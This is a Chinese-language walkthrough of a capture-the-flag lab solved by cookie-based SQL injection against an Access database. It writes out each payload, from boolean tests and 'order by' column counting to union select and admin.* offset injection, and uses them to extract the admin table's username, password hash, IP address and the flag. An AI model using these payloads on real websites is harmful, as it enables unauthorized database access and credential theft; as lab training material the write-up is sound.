封神臺-偏移注入
阿新 • • 發佈:2021-09-05
前言
靶場採用Access資料庫,而且對於其餘傳參進行了限制,只可通過Cookie方式進行傳參;然後通過偏移注入方式獲取資料
靶場實戰
我們進入靶場,然後進入到產品中心頁,隨便點選一條產品產看詳細資訊
我們注意到這裡也是有id傳參的,而且通過Cookie注入的學習我們知道這裡是有防護的;所以我們只能通過Cookie傳參進行防護測試
判斷注入存在
去掉id傳參後
document.cookie="id="+escape("105 and 1=1") #訪問頁面正常
document.cookie="id="+escape("105 and 1=2") #訪問頁面錯誤
可以證明注入存在
判斷欄位數
document.cookie="id="+escape("105 order by 26") #頁面正常
document.cookie="id="+escape("105 order by 27") #頁面異常
得出欄位數為:26
判斷顯錯位
document.cookie="id="+escape("105 and 1=2 union select 100000,200000,300000,400000,500000,600000,700000,800000,900000,1000000,1100000,1200000,1300000,1400000,1500000,1600000,1700000,1800000,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin")
然後檢視網頁原始碼搜尋定位5個0
我們注意到顯錯位除了3,5,7還有隱藏顯錯點27
接下來我們就可以利用顯錯點進行偏移注入查詢
首先我們經過不斷嘗試得出admin.*欄位數為16 # 查詢admin表的1,3,5欄位 document.cookie="id="+escape("105 and 1=2 union select 100000,200000,admin.*,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin") 分別為:1,b9a2a2b5dffb918c,223.73.73.47 # 查詢admin表的2,4,6欄位 document.cookie="id="+escape("105 and 1=2 union select 100000,admin.*,1800000,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin") 分別為:admin,1,2021-9-5 18:20:06 # 查詢admin表的3,5,7欄位 document.cookie="id="+escape("105 and 1=2 union select admin.*,1700000,1800000,1900000,2000000,2100000,2200000,2300000,2400000,2500000,2600000 from admin") 分別為:b9a2a2b5dffb918c,223.73.73.47,2003-9-25 23:13:38
我們發現這些都不是我們想要的
我們看一下提示,不出意外,想要我們的flag就只能利用隱藏輸出位25
我們嘗試一下
# 輸出admin表最後一個欄位
document.cookie="id="+escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin")
得出flag為:zkaq{f0e12dafb6}
經過驗證flag正確!